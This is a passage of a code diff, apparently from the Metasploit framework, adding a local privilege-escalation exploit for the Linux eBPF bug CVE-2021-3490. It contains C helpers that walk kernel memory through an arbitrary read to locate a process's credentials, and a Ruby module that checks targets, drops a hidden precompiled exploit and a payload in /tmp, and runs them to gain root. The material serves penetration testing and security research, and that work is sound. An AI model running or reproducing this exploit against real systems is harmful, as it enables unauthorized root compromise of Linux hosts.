RADIX_TREE_MAP_SIZE (1UL << RADIX_TREE_MAP_SHIFT) +#define RADIX_TREE_MAP_MASK (RADIX_TREE_MAP_SIZE-1) + + +/* + * The bottom two bits of the slot determine how the remaining bits in the + * slot are interpreted: + * + * 00 - data pointer + * 10 - internal entry + * x1 - value entry + * + * The internal entry may be a pointer to the next level in the tree, a + * sibling entry, or an indicator that the entry in this slot has been moved + * to another location in the tree and the lookup should be restarted. While + * NULL fits the 'data pointer' pattern, it means that there is no entry in + * the tree for this index (no matter what level of the tree it is found at). + * This means that storing a NULL entry in the tree is the same as deleting + * the entry from the tree. + */ +#define RADIX_TREE_ENTRY_MASK 3UL +#define RADIX_TREE_INTERNAL_NODE 2UL + + +/** + * struct xarray - The anchor of the XArray. + * @xa_lock: Lock that protects the contents of the XArray. + * + * To use the xarray, define it statically or embed it in your data structure. + * It is a very small data structure, so it does not usually make sense to + * allocate it separately and keep a pointer to it in your data structure. + * + * You may use the xa_lock to protect your own data structures as well. + */ +/* + * If all of the entries in the array are NULL, @xa_head is a NULL pointer. + * If the only non-NULL entry in the array is at index 0, @xa_head is that + * entry. If any other entry in the array is non-NULL, @xa_head points + * to an @xa_node. + */ +struct xarray +{ + int32_t xa_lock; + int32_t xa_flags; + void *xa_head; +}; + + +/* + * xa_mk_internal() - Create an internal entry. + * @v: Value to turn into an internal entry. + * + * Internal entries are used for a number of purposes. Entries 0-255 are + * used for sibling entries (only 0-62 are used by the current code). 256 + * is used for the retry entry. 257 is used for the reserved / zero entry. + * Negative internal entries are used to represent errnos. Node pointers + * are also tagged as internal entries in some situations. + * + * Context: Any context. + * Return: An XArray internal entry corresponding to this value. + */ +static inline void *xa_mk_internal(unsigned long v) +{ + return (void *)((v << 2) | 2); +} + +#define radix_tree_root xarray +#define radix_tree_node xa_node + + +struct xa_node +{ + unsigned char shift; /* Bits remaining in each slot */ + unsigned char offset; /* Slot offset in parent */ + unsigned char count; /* Total entry count */ + unsigned char nr_values; /* Value entry count */ + struct xa_node *parent; /* NULL at top of tree */ + struct xarray *array; /* The array we belong to */ + char filler[0x10]; + void *slots[XA_CHUNK_SIZE]; +}; + +struct idr +{ + struct radix_tree_root idr_rt; + unsigned int idr_base; + unsigned int idr_next; +}; + +struct pid_namespace +{ +#ifdef GROOVY + uint64_t padding; +#endif + struct idr idr; +}; + + +#endif \ No newline at end of file diff --git a/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/kmem_search.h b/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/kmem_search.h new file mode 100644 index 0000000000..961dac9e7e --- /dev/null +++ b/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/kmem_search.h @@ -0,0 +1,12 @@ +#ifndef _KMEM_SEARCH_H_ +#define _KMEM_SEARCH_H_ + +#include "exploit_configs.h" + +#define KMEM_MAX_SEARCH 0xFFFFFFF + +int search_init_pid_ns_kstrtab(exploit_context* pCtx); +int search_init_pid_ns_ksymtab(exploit_context* pCtx); +int find_pid_cred(exploit_context* pCtx, pid_t pid); + +#endif \ No newline at end of file diff --git a/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/kmem_search.c b/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/kmem_search.c new file mode 100644 index 0000000000..a49645ae86 --- /dev/null +++ b/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/kmem_search.c @@ -0,0 +1,276 @@ +#include +#include +#include +#include +#include +#include + +#include "kernel_defs.h" +#include "kmem_search.h" +#include "exploit_configs.h" + + +char* pKernelMemory = NULL; +uint32_t uiLen = 0; + + +// Userspace/exploit implementations of corresponding kernel functions + +static inline unsigned long shift_maxindex(unsigned int shift) +{ + return (RADIX_TREE_MAP_SIZE << shift) - 1; +} + +static inline unsigned long node_maxindex(const struct radix_tree_node *node) +{ + return shift_maxindex(node->shift); +} + +static inline struct radix_tree_node *entry_to_node(void *ptr) +{ + return (void *)((unsigned long)ptr & ~RADIX_TREE_INTERNAL_NODE); +} + +static inline bool radix_tree_is_internal_node(void *ptr) +{ + return ((unsigned long)ptr & RADIX_TREE_ENTRY_MASK) == + RADIX_TREE_INTERNAL_NODE; +} + +static unsigned int radix_tree_descend(exploit_context* pCtx, const struct radix_tree_node *parent, + struct radix_tree_node **nodep, unsigned long index) +{ + unsigned int offset = 0; + void **entry = NULL; + struct radix_tree_node node_in = {0}; + + kernel_read(pCtx, (uint64_t)parent, (char*)&node_in, sizeof(node_in)); + offset = (index >> node_in.shift) & RADIX_TREE_MAP_MASK; + + entry = node_in.slots[offset]; + + *nodep = (void *)entry; + return offset; +} + +static unsigned radix_tree_load_root(exploit_context* pCtx, const struct radix_tree_root *root, + struct radix_tree_node **nodep, unsigned long *maxindex) +{ + struct radix_tree_node *node = root->xa_head; + struct radix_tree_node node_in = {0}; + *nodep = node; + + if (radix_tree_is_internal_node(node)) + { + node = entry_to_node(node); + kernel_read(pCtx, (uint64_t)node, (char*)&node_in, sizeof(node_in)); + *maxindex = node_maxindex(&node_in); + return node_in.shift + RADIX_TREE_MAP_SHIFT; + } + + *maxindex = 0; + return 0; +} + +void *__radix_tree_lookup(exploit_context* pCtx, const struct radix_tree_root *root, + unsigned long index, struct radix_tree_node **nodep, + void ***slotp) +{ + struct radix_tree_node *node, *parent; + unsigned long maxindex; + void **slot; + struct radix_tree_node node_in = {0}; + + restart: + parent = NULL; + slot = (void **)&root->xa_head; + radix_tree_load_root(pCtx, root, &node, &maxindex); + + if (index > maxindex) + return NULL; + + while (radix_tree_is_internal_node(node)) { + unsigned offset; + + parent = entry_to_node(node); + offset = radix_tree_descend(pCtx, parent, &node, index); + kernel_read(pCtx, (uint64_t)parent, (char*)&node_in, sizeof(node_in)); + slot = node_in.slots + offset; + if (node == RADIX_TREE_RETRY) + goto restart; + if (node_in.shift == 0) + break; + } + + if (nodep) + *nodep = parent; + if (slotp) + *slotp = slot; + return node; +} + +void *radix_tree_lookup(exploit_context* pCtx, const struct radix_tree_root *root, unsigned long index) +{ + return __radix_tree_lookup(pCtx, root, index, NULL, NULL); +} + +void *idr_find(exploit_context* pCtx, const struct idr *idr, unsigned long id) +{ + return radix_tree_lookup(pCtx, &idr->idr_rt, id - idr->idr_base); +} + +struct pid *find_pid_ns(exploit_context* pCtx, int nr) +{ + struct pid_namespace ns = {0}; + + kernel_read(pCtx, pCtx->init_pid_ns, (char*)&ns, sizeof(ns)); + + return idr_find(pCtx, &ns.idr, nr); +} + +int find_pid_cred(exploit_context* pCtx, pid_t pid) +{ + int ret = -1; + uint64_t pid_struct = 0; + uint64_t first = 0; + uint64_t task = 0; + + pid_struct = (uint64_t)find_pid_ns(pCtx, pid); + + if(!IS_KERNEL_POINTER(pid_struct)) + { + goto done; + } + + kernel_read(pCtx, pid_struct + PID_TASKS_OFFSET, (char*)&first, sizeof(uint64_t)); + + if(!IS_KERNEL_POINTER(first)) + { + goto done; + } + + task = first - TASK_LIST_OFFSET; + + kernel_read(pCtx, task + TASK_CRED_OFFSET, (char*)&pCtx->cred, sizeof(uint64_t)); + + if(!IS_KERNEL_POINTER(pCtx->cred)) + { + goto done; + } + + ret = 0; + +done: + return ret; +} + +// Custom search functions + +char* strnstr_c(char *str, const char *substr, size_t n) +{ + char *p = str, *pEnd = str+n; + size_t substr_len = strlen(substr); + + if(0 == substr_len) + { + return str; + } + + pEnd -= (substr_len - 1); + + for(;p < pEnd; ++p) + { + if(0 == strncmp(p, substr, substr_len)) + { + return p; + } + } + + return NULL; +} + +int search_init_pid_ns_kstrtab(exploit_context* pCtx) +{ + int ret = -1; + char init_pid_ns[] = "init_pid_ns"; + + if(NULL == pKernelMemory) + { + pKernelMemory = malloc(PAGE_SIZE); + uiLen = PAGE_SIZE; + } + + for(uint32_t i = 0; i < KMEM_MAX_SEARCH; i+= PAGE_SIZE) + { + if(NULL == pKernelMemory) + { + printf("[-] failed to allocate memory!\n"); + goto done; + } + + if(0 != kernel_read(pCtx, pCtx->array_map_ops + i, pKernelMemory + i, PAGE_SIZE)) + { + goto done; + } + + if(0 < i) + { + char* substr = strnstr_c(pKernelMemory + i - sizeof(init_pid_ns), init_pid_ns, PAGE_SIZE + sizeof(init_pid_ns)); + + if(NULL != substr) + { + uint32_t offset = substr - pKernelMemory; + pCtx->init_pid_ns_kstrtab = pCtx->array_map_ops + offset; + ret = 0; + break; + } + } + + pKernelMemory = realloc(pKernelMemory, i + 2*PAGE_SIZE); + uiLen = i + 2*PAGE_SIZE; + } + +done: + if((0 != ret) && (NULL != pKernelMemory)) + { + free(pKernelMemory); + pKernelMemory = NULL; + } + + return ret; +} + +int search_init_pid_ns_ksymtab(exploit_context* pCtx) +{ + int ret = -1; + uint64_t pStartAddr = pCtx->array_map_ops; + + if(NULL == pKernelMemory) + { + goto done; + } + + for(uint32_t i = 0; i < uiLen; i++) + { + uint32_t offset = *(uint32_t*)(pKernelMemory + i); + + if((pStartAddr + offset) == pCtx->init_pid_ns_kstrtab) + { + uint32_t value_offset = *(uint32_t*)(pKernelMemory + i - 0x4); + pCtx-> init_pid_ns = pStartAddr + value_offset - 0x4; + ret = 0; + break; + } + + pStartAddr++; + } + +done: + if(NULL != pKernelMemory) + { + free(pKernelMemory); + pKernelMemory = NULL; + } + + return ret; +} diff --git a/modules/exploits/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.rb b/modules/exploits/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.rb new file mode 100644 index 0000000000..b4506d67b7 --- /dev/null +++ b/modules/exploits/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.rb @@ -0,0 +1,160 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GreatRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux eBPF ALU32 32-bit Invalid Bounds Tracking LPE', + 'Description' => %q{ + Linux kernels from 5.7-rc1 prior to 5.13-rc4, 5.12.4, 5.11.21, and + 5.10.37 are vulnerable to a bug in the eBPF verifier's verification + of ALU32 operations in the scalar32_min_max_and function when performing + AND operations, whereby under certain conditions the bounds of a + 32 bit register would not be properly updated. + + This can be abused by attackers to conduct an out of bounds read + and write in the Linux kernel and therefore achieve arbitrary + code execution as the root user. + + The target system must be compiled with eBPF support and not have + kernel.unprivileged_bpf_disabled set to 1, which prevents unprivileged + users from loading eBPF programs into the kernel. Note that if + kernel.unprivileged_bpf_disabled is enabled this module can still be + utilized to bypass protections such as SELinux, however the user + must already be logged as a privileged user such as root. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Manfred Paul', # Aka @_manfp, original vulnerability discovery + 'chompie1337', # Exploit writeup and PoC + 'Grant Willcox' # Aka @tekwizz123, Metasploit Module + ], + 'DisclosureDate' => '2021-05-11', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => + [ + [ 'CVE', '2021-3490' ], + [ 'URL', 'https://www.openwall.com/lists/oss-security/2021/05/11/11' ], + [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=049c4e13714ecbca567b4d5f6d563f05d431c80e' ], + [ 'URL', 'https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love-story' ], + [ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-21-606/' ], + [ 'URL', 'https://ubuntu.com/security/notices/USN-4950-1' ], + [ 'URL', 'https://ubuntu.com/security/notices/USN-4949-1' ] + ], + 'Notes' => + { + 'Reliability' => [ REPEATABLE_SESSION ], + 'Stability' => [ CRASH_OS_DOWN ], + 'SideEffects' => [ ] + }, + 'DefaultTarget' => 0 + ) + ) + register_advanced_options([ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ]) + end + + def base_dir + datastore['WritableDir'].to_s + end + + def check + release = kernel_release + version = kernel_version + + # If the target is Ubuntu... + if version =~ /[uU]buntu/ + version_array = release.split('-') + major_version = version_array[0] + minor_version = version_array[1] + if Rex::Version.new(major_version) >= Rex::Version.new('5.12.0') # Aka we are past the 5.11.x kernel releases and into at the time of writing beta kernels, then its likely not vuln. + return CheckCode::Safe("Target Ubuntu kernel version is #{major_version}-#{minor_version} which is not vulnerable!") + elsif (Rex::Version.new(major_version) == Rex::Version.new('5.11.0')) && (Rex::Version.new(minor_version) >= Rex::Version.new('17.18')) + return CheckCode::Safe('Target Ubuntu kernel version is running a 5.11.x build however it has updated to a patched version!') + elsif (Rex::Version.new(major_version) == Rex::Version.new('5.8.0')) && (Rex::Version.new(minor_version) >= Rex::Version.new('53.60')) + return CheckCode::Safe('Target Ubuntu kernel version is running a 5.8.x build however it has updated to a patched version!') + elsif (Rex::Version.new(major_version) != Rex::Version.new('5.8.0')) && (Rex::Version.new(major_version) != Rex::Version.new('5.11.0')) + return CheckCode::Unknown('Unknown target kernel version, recommend manually checking if target kernel is vulnerable.') + end + else + return CheckCode::Unknown("Target is not a Ubuntu target, so we can't check if the target is vulnerable or not!") + end + + vprint_good("Kernel version #{release} appears to be vulnerable") + + if unprivileged_bpf_disabled? + return CheckCode::Safe('Unprivileged BPF loading is not permitted') + end + + vprint_good('Unprivileged BPF loading is permitted') + + config = kernel_config + + if config.nil? + return CheckCode::Detected('Could not retrieve kernel config') + end + + unless config.include?('CONFIG_BPF_SYSCALL=y') + return CheckCode::Safe('Kernel config does not include CONFIG_BPF_SYSCALL') + end + + vprint_good('Kernel config has CONFIG_BPF_SYSCALL enabled') + + CheckCode::Appears + end + + def exploit + if is_root? && !datastore['ForceExploit'] + fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.') + end + + unless writable?(base_dir) + fail_with(Failure::BadConfig, "#{base_dir} is not writable") + end + + # if live_compile? + # vprint_status('Live compiling exploit on system...') + # upload_and_compile(executable_path, exploit_data('cve-2017-16995', 'exploit.c')) + # else + executable_name = ".#{rand_text_alphanumeric(5..10)}" + executable_path = "#{base_dir}/#{executable_name}" + vprint_status('Dropping pre-compiled exploit on system...') + release = kernel_release + major_version = release.split('-')[0] + if (Rex::Version.new(major_version) == Rex::Version.new('5.11.0')) + upload_and_chmodx(executable_path, exploit_data('cve-2021-3490', 'hirsute.bin')) + else + upload_and_chmodx(executable_path, exploit_data('cve-2021-3490', 'groovy.bin')) + end + register_file_for_cleanup(executable_path) + + # Upload payload executable + payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + upload_and_chmodx(payload_path, generate_payload_exe) + register_file_for_cleanup(payload_path) + + # Launch exploit + print_status('Launching exploit ...') + cmd_exec(executable_path.to_s, payload_path.to_s, 150) + end +end